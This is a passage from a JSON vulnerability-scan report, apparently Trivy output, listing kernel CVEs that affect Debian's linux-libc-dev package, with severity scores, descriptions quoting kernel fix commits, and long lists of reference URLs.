EIR_BAA_SERVICE_UUID\n\nCopy the content of a Periodic Advertisement Report to BASE only if\nthe service UUID is Basic Audio Announcement Service UUID.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2023-7356", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2023/CVE-2023-7356.mbox", "https://git.kernel.org/stable/c/927ef409f713929dea2b9a5ed5bb65e712be0050", "https://git.kernel.org/stable/c/ba25efe15e8fd909884e113a86c6ccd07d88256e", "https://git.kernel.org/stable/c/f4da3ee15de9944482382181329bb6d7335ca003", "https://nvd.nist.gov/vuln/detail/CVE-2023-7356", "https://www.cve.org/CVERecord?id=CVE-2023-7356" ], "PublishedDate": "2026-10-21T15:17:12.44Z", "LastModifiedDate": "2026-10-26T07:17:05.437Z" }, { "VulnerabilityID": "CVE-2024-21803", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-21803", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7631d6b1dfe7c54c0acdbd4f9f2034daf42b7f0c8ca4299be045399041befdd2", "Title": "kernel: bluetooth: use-after-free vulnerability in af_bluetooth.c", "Description": "Use After Free vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (bluetooth modules) allows Local Execution of Code. This vulnerability is associated with program files https://gitee.Com/anolis/cloud-kernel/blob/devel-5.10/net/bluetooth/af_bluetooth.C.\n\nThis issue affects Linux kernel: from v2.6.12-rc2 before v6.8-rc1.\n\n", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "cbl-mariner": 3, "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-21803", "https://bugzilla.openanolis.cn/show_bug.cgi?id=8081", "https://nvd.nist.gov/vuln/detail/CVE-2024-21803", "https://www.cve.org/CVERecord?id=CVE-2024-21803" ], "PublishedDate": "2024-01-30T08:15:41.373Z", "LastModifiedDate": "2026-06-17T07:10:11.723Z" }, { "VulnerabilityID": "CVE-2024-26669", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-26669", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0046271c87151b22f63bf0f5fdaf2be83022cfdf653253ff0cce15f98974ad06", "Title": "kernel: net/sched: flower: Fix chain template offload", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: flower: Fix chain template offload\n\nWhen a qdisc is deleted from a net device the stack instructs the\nunderlying driver to remove its flow offload callback from the\nassociated filter block using the 'FLOW_BLOCK_UNBIND' command. The stack\nthen continues to replay the removal of the filters in the block for\nthis driver by iterating over the chains in the block and invoking the\n'reoffload' operation of the classifier being used. In turn, the\nclassifier in its 'reoffload' operation prepares and emits a\n'FLOW_CLS_DESTROY' command for each filter.\n\nHowever, the stack does not do the same for chain templates and the\nunderlying driver never receives a 'FLOW_CLS_TMPLT_DESTROY' command when\na qdisc is deleted. This results in a memory leak [1] which can be\nreproduced using [2].\n\nFix by introducing a 'tmplt_reoffload' operation and have the stack\ninvoke it with the appropriate arguments as part of the replay.\nImplement the operation in the sole classifier that supports chain\ntemplates (flower) by emitting the 'FLOW_CLS_TMPLT_{CREATE,DESTROY}'\ncommand based on whether a flow offload callback is being bound to a\nfilter block or being unbound from one.\n\nAs far as I can tell, the issue happens since cited commit which\nreordered tcf_block_offload_unbind() before tcf_block_flush_all_chains()\nin __tcf_block_put(). The order cannot be reversed as the filter block\nis expected to be freed after flushing all the chains.\n\n[1]\nunreferenced object 0xffff888107e28800 (size 2048):\n comm \"tc\", pid 1079, jiffies 4294958525 (age 3074.287s)\n hex dump (first 32 bytes):\n b1 a6 7c 11 81 88 ff ff e0 5b b3 10 81 88 ff ff ..|......[......\n 01 00 00 00 00 00 00 00 e0 aa b0 84 ff ff ff ff ................\n backtrace:\n [\u003cffffffff81c06a68\u003e] __kmem_cache_alloc_node+0x1e8/0x320\n [\u003cffffffff81ab374e\u003e] __kmalloc+0x4e/0x90\n [\u003cffffffff832aec6d\u003e] mlxsw_sp_acl_ruleset_get+0x34d/0x7a0\n [\u003cffffffff832bc195\u003e] mlxsw_sp_flower_tmplt_create+0x145/0x180\n [\u003cffffffff832b2e1a\u003e] mlxsw_sp_flow_block_cb+0x1ea/0x280\n [\u003cffffffff83a10613\u003e] tc_setup_cb_call+0x183/0x340\n [\u003cffffffff83a9f85a\u003e] fl_tmplt_create+0x3da/0x4c0\n [\u003cffffffff83a22435\u003e] tc_ctl_chain+0xa15/0x1170\n [\u003cffffffff838a863c\u003e] rtnetlink_rcv_msg+0x3cc/0xed0\n [\u003cffffffff83ac87f0\u003e] netlink_rcv_skb+0x170/0x440\n [\u003cffffffff83ac6270\u003e] netlink_unicast+0x540/0x820\n [\u003cffffffff83ac6e28\u003e] netlink_sendmsg+0x8d8/0xda0\n [\u003cffffffff83793def\u003e] ____sys_sendmsg+0x30f/0xa80\n [\u003cffffffff8379d29a\u003e] ___sys_sendmsg+0x13a/0x1e0\n [\u003cffffffff8379d50c\u003e] __sys_sendmsg+0x11c/0x1f0\n [\u003cffffffff843b9ce0\u003e] do_syscall_64+0x40/0xe0\nunreferenced object 0xffff88816d2c0400 (size 1024):\n comm \"tc\", pid 1079, jiffies 4294958525 (age 3074.287s)\n hex dump (first 32 bytes):\n 40 00 00 00 00 00 00 00 57 f6 38 be 00 00 00 00 @.......W.8.....\n 10 04 2c 6d 81 88 ff ff 10 04 2c 6d 81 88 ff ff ..,m......,m....\n backtrace:\n [\u003cffffffff81c06a68\u003e] __kmem_cache_alloc_node+0x1e8/0x320\n [\u003cffffffff81ab36c1\u003e] __kmalloc_node+0x51/0x90\n [\u003cffffffff81a8ed96\u003e] kvmalloc_node+0xa6/0x1f0\n [\u003cffffffff82827d03\u003e] bucket_table_alloc.isra.0+0x83/0x460\n [\u003cffffffff82828d2b\u003e] rhashtable_init+0x43b/0x7c0\n [\u003cffffffff832aed48\u003e] mlxsw_sp_acl_ruleset_get+0x428/0x7a0\n [\u003cffffffff832bc195\u003e] mlxsw_sp_flower_tmplt_create+0x145/0x180\n [\u003cffffffff832b2e1a\u003e] mlxsw_sp_flow_block_cb+0x1ea/0x280\n [\u003cffffffff83a10613\u003e] tc_setup_cb_call+0x183/0x340\n [\u003cffffffff83a9f85a\u003e] fl_tmplt_create+0x3da/0x4c0\n [\u003cffffffff83a22435\u003e] tc_ctl_chain+0xa15/0x1170\n [\u003cffffffff838a863c\u003e] rtnetlink_rcv_msg+0x3cc/0xed0\n [\u003cffffffff83ac87f0\u003e] netlink_rcv_skb+0x170/0x440\n [\u003cffffffff83ac6270\u003e] netlink_unicast+0x540/0x820\n [\u003cffffffff83ac6e28\u003e] netlink_sendmsg+0x8d8/0xda0\n [\u003cffffffff83793def\u003e] ____sys_sendmsg+0x30f/0xa80\n\n[2]\n # tc qdisc add dev swp1 clsact\n # tc chain add dev swp1 ingress proto ip chain 1 flower dst_ip 0.0.0.0/32\n # tc qdisc del dev\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 1, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2024:5101", "https://access.redhat.com/errata/RHSA-2024:5102", "https://access.redhat.com/security/cve/CVE-2024-26669", "https://bugzilla.redhat.com/2263879", "https://bugzilla.redhat.com/2265645", "https://bugzilla.redhat.com/2265797", "https://bugzilla.redhat.com/2266341", "https://bugzilla.redhat.com/2266347", "https://bugzilla.redhat.com/2266497", "https://bugzilla.redhat.com/2267787", "https://bugzilla.redhat.com/2268118", "https://bugzilla.redhat.com/2269070", "https://bugzilla.redhat.com/2269211", "https://bugzilla.redhat.com/2270084", "https://bugzilla.redhat.com/2270100", "https://bugzilla.redhat.com/2271686", "https://bugzilla.redhat.com/2271688", "https://bugzilla.redhat.com/2272782", "https://bugzilla.redhat.com/2272795", "https://bugzilla.redhat.com/2273109", "https://bugzilla.redhat.com/2273174", "https://bugzilla.redhat.com/2273236", "https://bugzilla.redhat.com/2273242", "https://bugzilla.redhat.com/2273247", "https://bugzilla.redhat.com/2273268", "https://bugzilla.redhat.com/2273427", "https://bugzilla.redhat.com/2273654", "https://bugzilla.redhat.com/2275565", "https://bugzilla.redhat.com/2275573", "https://bugzilla.redhat.com/2275580", "https://bugzilla.redhat.com/2275694", "https://bugzilla.redhat.com/2275711", "https://bugzilla.redhat.com/2275748", "https://bugzilla.redhat.com/2275761", "https://bugzilla.redhat.com/2275928", "https://bugzilla.redhat.com/2277166", "https://bugzilla.redhat.com/2277238", "https://bugzilla.redhat.com/2277840", "https://bugzilla.redhat.com/2278176", "https://bugzilla.redhat.com/2278178", "https://bugzilla.redhat.com/2278182", "https://bugzilla.redhat.com/2278218", "https://bugzilla.redhat.com/2278256", "https://bugzilla.redhat.com/2278258", "https://bugzilla.redhat.com/2278277", "https://bugzilla.redhat.com/2278279", "https://bugzilla.redhat.com/2278380", "https://bugzilla.redhat.com/2278484", "https://bugzilla.redhat.com/2278515", "https://bugzilla.redhat.com/2278535", "https://bugzilla.redhat.com/2278539", "https://bugzilla.redhat.com/2278989", "https://bugzilla.redhat.com/2280440", "https://bugzilla.redhat.com/2281054", "https://bugzilla.redhat.com/2281133", "https://bugzilla.redhat.com/2281149", "https://bugzilla.redhat.com/2281207", "https://bugzilla.redhat.com/2281215", "https://bugzilla.redhat.com/2281221", "https://bugzilla.redhat.com/2281235", "https://bugzilla.redhat.com/2281268", "https://bugzilla.redhat.com/2281326", "https://bugzilla.redhat.com/2281360", "https://bugzilla.redhat.com/2281510", "https://bugzilla.redhat.com/2281519", "https://bugzilla.redhat.com/2281636", "https://bugzilla.redhat.com/2281641", "https://bugzilla.redhat.com/2281664", "https://bugzilla.redhat.com/2281667", "https://bugzilla.redhat.com/2281672", "https://bugzilla.redhat.com/2281675", "https://bugzilla.redhat.com/2281682", "https://bugzilla.redhat.com/2281725", "https://bugzilla.redhat.com/2281752", "https://bugzilla.redhat.com/2281758", "https://bugzilla.redhat.com/2281819", "https://bugzilla.redhat.com/2281821", "https://bugzilla.redhat.com/2281833", "https://bugzilla.redhat.com/2281938", "https://bugzilla.redhat.com/2281949", "https://bugzilla.redhat.com/2281968", "https://bugzilla.redhat.com/2281989", "https://bugzilla.redhat.com/2282328", "https://bugzilla.redhat.com/2282373", "https://bugzilla.redhat.com/2282479", "https://bugzilla.redhat.com/2282553", "https://bugzilla.redhat.com/2282615", "https://bugzilla.redhat.com/2282623", "https://bugzilla.redhat.com/2282640", "https://bugzilla.redhat.com/2282642", "https://bugzilla.redhat.com/2282645", "https://bugzilla.redhat.com/2282717", "https://bugzilla.redhat.com/2282719", "https://bugzilla.redhat.com/2282727", "https://bugzilla.redhat.com/2282742", "https://bugzilla.redhat.com/2282743", "https://bugzilla.redhat.com/2282744", "https://bugzilla.redhat.com/2282759", "https://bugzilla.redhat.com/2282763", "https://bugzilla.redhat.com/2282766", "https://bugzilla.redhat.com/2282772", "https://bugzilla.redhat.com/2282780", "https://bugzilla.redhat.com/2282887", "https://bugzilla.redhat.com/2282896", "https://bugzilla.redhat.com/2282923", "https://bugzilla.redhat.com/2282925", "https://bugzilla.redhat.com/2282950", "https://bugzilla.redhat.com/2283401", "https://bugzilla.redhat.com/2283894", "https://bugzilla.redhat.com/2284400", "https://bugzilla.redhat.com/2284417", "https://bugzilla.redhat.com/2284421", "https://bugzilla.redhat.com/2284474", "https://bugzilla.redhat.com/2284477", "https://bugzilla.redhat.com/2284488", "https://bugzilla.redhat.com/2284496", "https://bugzilla.redhat.com/2284500", "https://bugzilla.redhat.com/2284513", "https://bugzilla.redhat.com/2284519", "https://bugzilla.redhat.com/2284539", "https://bugzilla.redhat.com/2284541", "https://bugzilla.redhat.com/2284556", "https://bugzilla.redhat.com/2284571", "https://bugzilla.redhat.com/2284590", "https://bugzilla.redhat.com/2284625", "https://bugzilla.redhat.com/2290408", "https://bugzilla.redhat.com/2292331", "https://bugzilla.redhat.com/2293078", "https://bugzilla.redhat.com/2293250", "https://bugzilla.redhat.com/2293276", "https://bugzilla.redhat.com/2293312", "https://bugzilla.redhat.com/2293316", "https://bugzilla.redhat.com/2293348", "https://bugzilla.redhat.com/2293371", "https://bugzilla.redhat.com/2293383", "https://bugzilla.redhat.com/2293418", "https://bugzilla.redhat.com/2293420", "https://bugzilla.redhat.com/2293444", "https://bugzilla.redhat.com/2293461", "https://bugzilla.redhat.com/2293653", "https://bugzilla.redhat.com/2293657", "https://bugzilla.redhat.com/2293684", "https://bugzilla.redhat.com/2293687", "https://bugzilla.redhat.com/2293700", "https://bugzilla.redhat.com/2293711", "https://bugzilla.redhat.com/2294274", "https://bugzilla.redhat.com/2295914", "https://bugzilla.redhat.com/2296067", "https://bugzilla.redhat.com/2297056", "https://bugzilla.redhat.com/2297474", "https://bugzilla.redhat.com/2297511", "https://bugzilla.redhat.com/2298108", "https://bugzilla.redhat.com/show_bug.cgi?id=2263879", "https://bugzilla.redhat.com/show_bug.cgi?id=2265645", "https://bugzilla.redhat.com/show_bug.cgi?id=2265650", "https://bugzilla.redhat.com/show_bug.cgi?id=2265797", "https://bugzilla.redhat.com/show_bug.cgi?id=2266341", "https://bugzilla.redhat.com/show_bug.cgi?id=2266347", "https://bugzilla.redhat.com/show_bug.cgi?id=2266497", "https://bugzilla.redhat.com/show_bug.cgi?id=2266594", "https://bugzilla.redhat.com/show_bug.cgi?id=2267787", "https://bugzilla.redhat.com/show_bug.cgi?id=2268118", "https://bugzilla.redhat.com/show_bug.cgi?id=2269070", "https://bugzilla.redhat.com/show_bug.cgi?id=2269211", "https://bugzilla.redhat.com/show_bug.cgi?id=2270084", "https://bugzilla.redhat.com/show_bug.cgi?id=2270100", "https://bugzilla.redhat.com/show_bug.cgi?id=2270700", "https://bugzilla.redhat.com/show_bug.cgi?id=2271686", "https://bugzilla.redhat.com/show_bug.cgi?id=2271688", "https://bugzilla.redhat.com/show_bug.cgi?id=2272782", "https://bugzilla.redhat.com/show_bug.cgi?id=2272795", "https://bugzilla.redhat.com/show_bug.cgi?id=2273109", "https://bugzilla.redhat.com/show_bug.cgi?id=2273117", "https://bugzilla.redhat.com/show_bug.cgi?id=2273174", "https://bugzilla.redhat.com/show_bug.cgi?id=2273236", "https://bugzilla.redhat.com/show_bug.cgi?id=2273242", "https://bugzilla.redhat.com/show_bug.cgi?id=2273247", "https://bugzilla.redhat.com/show_bug.cgi?id=2273268", "https://bugzilla.redhat.com/show_bug.cgi?id=2273427", "https://bugzilla.redhat.com/show_bug.cgi?id=2273654", "https://bugzilla.redhat.com/show_bug.cgi?id=2275565", "https://bugzilla.redhat.com/show_bug.cgi?id=2275573", "https://bugzilla.redhat.com/show_bug.cgi?id=2275580", "https://bugzilla.redhat.com/show_bug.cgi?id=2275694", "https://bugzilla.redhat.com/show_bug.cgi?id=2275711", "https://bugzilla.redhat.com/show_bug.cgi?id=2275744", "https://bugzilla.redhat.com/show_bug.cgi?id=2275748", "https://bugzilla.redhat.com/show_bug.cgi?id=2275761", "https://bugzilla.redhat.com/show_bug.cgi?id=2275928", "https://bugzilla.redhat.com/show_bug.cgi?id=2277166", "https://bugzilla.redhat.com/show_bug.cgi?id=2277238", "https://bugzilla.redhat.com/show_bug.cgi?id=2277840", "https://bugzilla.redhat.com/show_bug.cgi?id=2278176", "https://bugzilla.redhat.com/show_bug.cgi?id=2278178", "https://bugzilla.redhat.com/show_bug.cgi?id=2278182", "https://bugzilla.redhat.com/show_bug.cgi?id=2278218", "https://bugzilla.redhat.com/show_bug.cgi?id=2278256", "https://bugzilla.redhat.com/show_bug.cgi?id=2278258", "https://bugzilla.redhat.com/show_bug.cgi?id=2278277", "https://bugzilla.redhat.com/show_bug.cgi?id=2278279", "https://bugzilla.redhat.com/show_bug.cgi?id=2278380", "https://bugzilla.redhat.com/show_bug.cgi?id=2278484", "https://bugzilla.redhat.com/show_bug.cgi?id=2278515", "https://bugzilla.redhat.com/show_bug.cgi?id=2278535", "https://bugzilla.redhat.com/show_bug.cgi?id=2278539", "https://bugzilla.redhat.com/show_bug.cgi?id=2278989", "https://bugzilla.redhat.com/show_bug.cgi?id=2280440", "https://bugzilla.redhat.com/show_bug.cgi?id=2281054", "https://bugzilla.redhat.com/show_bug.cgi?id=2281133", "https://bugzilla.redhat.com/show_bug.cgi?id=2281149", "https://bugzilla.redhat.com/show_bug.cgi?id=2281189", "https://bugzilla.redhat.com/show_bug.cgi?id=2281190", "https://bugzilla.redhat.com/show_bug.cgi?id=2281207", "https://bugzilla.redhat.com/show_bug.cgi?id=2281215", "https://bugzilla.redhat.com/show_bug.cgi?id=2281221", "https://bugzilla.redhat.com/show_bug.cgi?id=2281235", "https://bugzilla.redhat.com/show_bug.cgi?id=2281268", "https://bugzilla.redhat.com/show_bug.cgi?id=2281326", "https://bugzilla.redhat.com/show_bug.cgi?id=2281360", "https://bugzilla.redhat.com/show_bug.cgi?id=2281510", "https://bugzilla.redhat.com/show_bug.cgi?id=2281519", "https://bugzilla.redhat.com/show_bug.cgi?id=2281636", "https://bugzilla.redhat.com/show_bug.cgi?id=2281641", "https://bugzilla.redhat.com/show_bug.cgi?id=2281664", "https://bugzilla.redhat.com/show_bug.cgi?id=2281667", "https://bugzilla.redhat.com/show_bug.cgi?id=2281672", "https://bugzilla.redhat.com/show_bug.cgi?id=2281675", "https://bugzilla.redhat.com/show_bug.cgi?id=2281682", "https://bugzilla.redhat.com/show_bug.cgi?id=2281725", "https://bugzilla.redhat.com/show_bug.cgi?id=2281752", "https://bugzilla.redhat.com/show_bug.cgi?id=2281758", "https://bugzilla.redhat.com/show_bug.cgi?id=2281819", "https://bugzilla.redhat.com/show_bug.cgi?id=2281821", "https://bugzilla.redhat.com/show_bug.cgi?id=2281833", "https://bugzilla.redhat.com/show_bug.cgi?id=2281938", "https://bugzilla.redhat.com/show_bug.cgi?id=2281949", "https://bugzilla.redhat.com/show_bug.cgi?id=2281968", "https://bugzilla.redhat.com/show_bug.cgi?id=2281989", "https://bugzilla.redhat.com/show_bug.cgi?id=2282328", "https://bugzilla.redhat.com/show_bug.cgi?id=2282373", "https://bugzilla.redhat.com/show_bug.cgi?id=2282479", "https://bugzilla.redhat.com/show_bug.cgi?id=2282553", "https://bugzilla.redhat.com/show_bug.cgi?id=2282615", "https://bugzilla.redhat.com/show_bug.cgi?id=2282623", "https://bugzilla.redhat.com/show_bug.cgi?id=2282640", "https://bugzilla.redhat.com/show_bug.cgi?id=2282642", "https://bugzilla.redhat.com/show_bug.cgi?id=2282645", "https://bugzilla.redhat.com/show_bug.cgi?id=2282690", "https://bugzilla.redhat.com/show_bug.cgi?id=2282717", "https://bugzilla.redhat.com/show_bug.cgi?id=2282719", "https://bugzilla.redhat.com/show_bug.cgi?id=2282727", "https://bugzilla.redhat.com/show_bug.cgi?id=2282742", "https://bugzilla.redhat.com/show_bug.cgi?id=2282743", "https://bugzilla.redhat.com/show_bug.cgi?id=2282744", "https://bugzilla.redhat.com/show_bug.cgi?id=2282759", "https://bugzilla.redhat.com/show_bug.cgi?id=2282763", "https://bugzilla.redhat.com/show_bug.cgi?id=2282766", "https://bugzilla.redhat.com/show_bug.cgi?id=2282772", "https://bugzilla.redhat.com/show_bug.cgi?id=2282780", "https://bugzilla.redhat.com/show_bug.cgi?id=2282887", "https://bugzilla.redhat.com/show_bug.cgi?id=2282896", "https://bugzilla.redhat.com/show_bug.cgi?id=2282923", "https://bugzilla.redhat.com/show_bug.cgi?id=2282925", "https://bugzilla.redhat.com/show_bug.cgi?id=2282950", "https://bugzilla.redhat.com/show_bug.cgi?id=2283401", "https://bugzilla.redhat.com/show_bug.cgi?id=2283894", "https://bugzilla.redhat.com/show_bug.cgi?id=2284400", "https://bugzilla.redhat.com/show_bug.cgi?id=2284417", "https://bugzilla.redhat.com/show_bug.cgi?id=2284421", "https://bugzilla.redhat.com/show_bug.cgi?id=2284465", "https://bugzilla.redhat.com/show_bug.cgi?id=2284474", "https://bugzilla.redhat.com/show_bug.cgi?id=2284477", "https://bugzilla.redhat.com/show_bug.cgi?id=2284488", "https://bugzilla.redhat.com/show_bug.cgi?id=2284496", "https://bugzilla.redhat.com/show_bug.cgi?id=2284500", "https://bugzilla.redhat.com/show_bug.cgi?id=2284513", "https://bugzilla.redhat.com/show_bug.cgi?id=2284519", "https://bugzilla.redhat.com/show_bug.cgi?id=2284539", "https://bugzilla.redhat.com/show_bug.cgi?id=2284541", "https://bugzilla.redhat.com/show_bug.cgi?id=2284556", "https://bugzilla.redhat.com/show_bug.cgi?id=2284571", "https://bugzilla.redhat.com/show_bug.cgi?id=2284590", "https://bugzilla.redhat.com/show_bug.cgi?id=2284625", "https://bugzilla.redhat.com/show_bug.cgi?id=2290408", "https://bugzilla.redhat.com/show_bug.cgi?id=2292331", "https://bugzilla.redhat.com/show_bug.cgi?id=2293078", "https://bugzilla.redhat.com/show_bug.cgi?id=2293250", "https://bugzilla.redhat.com/show_bug.cgi?id=2293276", "https://bugzilla.redhat.com/show_bug.cgi?id=2293312", "https://bugzilla.redhat.com/show_bug.cgi?id=2293316", "https://bugzilla.redhat.com/show_bug.cgi?id=2293348", "https://bugzilla.redhat.com/show_bug.cgi?id=2293367", "https://bugzilla.redhat.com/show_bug.cgi?id=2293371", "https://bugzilla.redhat.com/show_bug.cgi?id=2293383", "https://bugzilla.redhat.com/show_bug.cgi?id=2293418", "https://bugzilla.redhat.com/show_bug.cgi?id=2293420", "https://bugzilla.redhat.com/show_bug.cgi?id=2293444", "https://bugzilla.redhat.com/show_bug.cgi?id=2293461", "https://bugzilla.redhat.com/show_bug.cgi?id=2293653", "https://bugzilla.redhat.com/show_bug.cgi?id=2293657", "https://bugzilla.redhat.com/show_bug.cgi?id=2293684", "https://bugzilla.redhat.com/show_bug.cgi?id=2293687", "https://bugzilla.redhat.com/show_bug.cgi?id=2293700", "https://bugzilla.redhat.com/show_bug.cgi?id=2293711", "https://bugzilla.redhat.com/show_bug.cgi?id=2294274", "https://bugzilla.redhat.com/show_bug.cgi?id=2295914", "https://bugzilla.redhat.com/show_bug.cgi?id=2296067", "https://bugzilla.redhat.com/show_bug.cgi?id=2297056", "https://bugzilla.redhat.com/show_bug.cgi?id=2297474", "https://bugzilla.redhat.com/show_bug.cgi?id=2297558", "https://bugzilla.redhat.com/show_bug.cgi?id=2298108", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46939", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47373", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47461", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47468", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47491", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47548", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47579", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-47624", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48632", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48743", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48747", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48757", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-28746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52463", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52471", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52486", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52619", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52622", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52623", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52648", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52653", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52658", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52707", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52730", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52762", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52764", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52775", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52784", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52791", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52796", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52803", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52834", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52847", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-52864", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-2201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25739", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26640", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26660", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26686", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26698", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26704", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26733", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26740", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26773", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26810", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26837", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26840", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26843", 